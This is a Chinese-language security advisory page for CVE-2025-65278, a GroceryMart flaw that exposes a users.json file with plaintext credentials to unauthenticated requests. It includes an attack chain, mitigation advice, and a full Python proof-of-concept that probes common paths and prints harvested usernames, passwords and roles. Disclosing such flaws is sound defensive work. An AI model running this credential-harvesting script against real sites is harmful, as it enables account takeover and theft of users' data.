IPBUF安全漏洞报告
English
CVE-2025-65278 CVSS 7.5 高危

CVE-2025-65278 GroceryMart users.json敏感信息泄露漏洞

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-65278
漏洞类型
敏感信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GroceryMart

相关标签

信息泄露敏感数据暴露未授权访问明文密码存储GroceryMartCVE-2025-65278高危漏洞JSON配置错误访问控制缺陷

漏洞概述

CVE-2025-65278是GroceryMart项目中一个严重的信息泄露漏洞。该漏洞存在于GroceryMart应用程序的users.json文件中,由于访问控制配置不当,攻击者可以在无需任何认证的情况下直接访问该敏感文件。该文件中存储了用户的敏感信息,包括明文的用户名和密码。攻击者通过构造特定的HTTP请求即可获取这些敏感数据,进而可能利用获取的凭据进行后续的恶意操作,如账户接管、数据窃取或其他未经授权的访问。该漏洞的CVSS评分为7.5,属于高危级别,对系统的机密性造成严重影响。由于无需认证即可利用此漏洞,攻击门槛较低,任何能够访问应用程序的攻击者都可以轻松获取敏感信息,对系统和用户数据安全构成重大威胁。

技术细节

该漏洞的技术原理在于GroceryMart应用程序对users.json文件的访问控制机制存在缺陷。在正常的应用程序设计中,存储用户凭据的文件应当受到严格的访问控制保护,仅允许经过身份验证的管理员或系统组件访问。然而,在存在漏洞的版本中,users.json文件被放置在可通过Web直接访问的目录下,且未实施适当的身份验证和授权检查。攻击者只需要构造一个简单的HTTP GET请求,指定目标文件路径为/users.json或类似的路径,即可直接下载该文件。文件内容以JSON格式存储,包含所有用户账户的明文用户名和密码。CVSS向量的网络攻击向量(AV:N)和无需认证(PR:N)的特性使得任何能够访问该Web应用的网络用户都可以利用此漏洞。机密性影响被评估为高(C:H),表明该漏洞可导致严重的敏感信息泄露。攻击者获取这些凭据后,可以冒充合法用户进行操作,包括访问个人数据、修改账户设置或进行进一步的横向移动攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标GroceryMart应用程序,并探测可能暴露的敏感文件路径,如users.json、config.json等
STEP 2
步骤2: 构造恶意请求
攻击者构造HTTP GET请求访问/users.json等敏感文件路径,无需携带任何认证凭据
STEP 3
步骤3: 接收敏感数据
目标服务器响应请求,返回包含明文用户名和密码的JSON文件内容
STEP 4
步骤4: 数据解析与提取
攻击者解析JSON响应,提取所有用户账户的凭据信息,可能包括管理员账户
STEP 5
步骤5: 凭据滥用
利用获取的凭据登录系统,进行账户接管、数据窃取、横向移动或进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-65278 PoC - GroceryMart Information Disclosure # Description: Unauthenticated access to users.json containing plaintext credentials import requests import json import sys def exploit_cve_2025_65278(target_url): """ Exploit for CVE-2025-65278: GroceryMart users.json Information Disclosure Target: GroceryMart application Vulnerability: Unauthenticated access to sensitive users.json file Impact: Disclosure of plaintext usernames and passwords """ print(f"[*] Targeting: {target_url}") print("[*] Exploiting CVE-2025-65278 - Information Disclosure\n") # Common paths where users.json might be located paths = [ "/users.json", "/data/users.json", "/config/users.json", "/api/users.json", "/assets/users.json", "/static/users.json" ] found_credentials = [] for path in paths: url = target_url.rstrip('/') + path print(f"[*] Trying: {url}") try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS! Found sensitive file at: {url}") try: users_data = response.json() print(f"[+] Parsed JSON data with {len(users_data)} user(s)\n") for user in users_data: username = user.get('username', user.get('email', 'N/A')) password = user.get('password', 'N/A') role = user.get('role', 'user') print(f" Username: {username}") print(f" Password: {password}") print(f" Role: {role}") print("-" * 50) found_credentials.append({ 'url': url, 'username': username, 'password': password, 'role': role }) except json.JSONDecodeError: print(f"[!] Response is not valid JSON") print(f"[!] Content preview: {response.text[:200]}...") except requests.RequestException as e: print(f"[!] Request failed: {e}") if found_credentials: print(f"\n[!] VULNERABLE - Found {len(found_credentials)} credential(s)") print("[!] These credentials can be used for further attacks") return True else: print("\n[-] Target may not be vulnerable or users.json not found") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-65278.py <target_url>") print("Example: python cve-2025-65278.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_65278(target)

影响范围

GroceryMart commit 21934e6 (2020-10-23) 及之前未修复版本

防御指南

临时缓解措施
在永久修复之前,建议立即采取以下临时缓解措施:首先,将users.json文件从Web可访问目录移至非Web目录,或重命名为不可猜测的文件名以增加攻击难度;其次,配置Web服务器规则阻止对.json文件和敏感路径的直接访问;最后,考虑启用HTTP基本认证或IP白名单限制对整个管理界面的访问。同时建议监控Web服务器的访问日志,查找对敏感文件路径的可疑请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表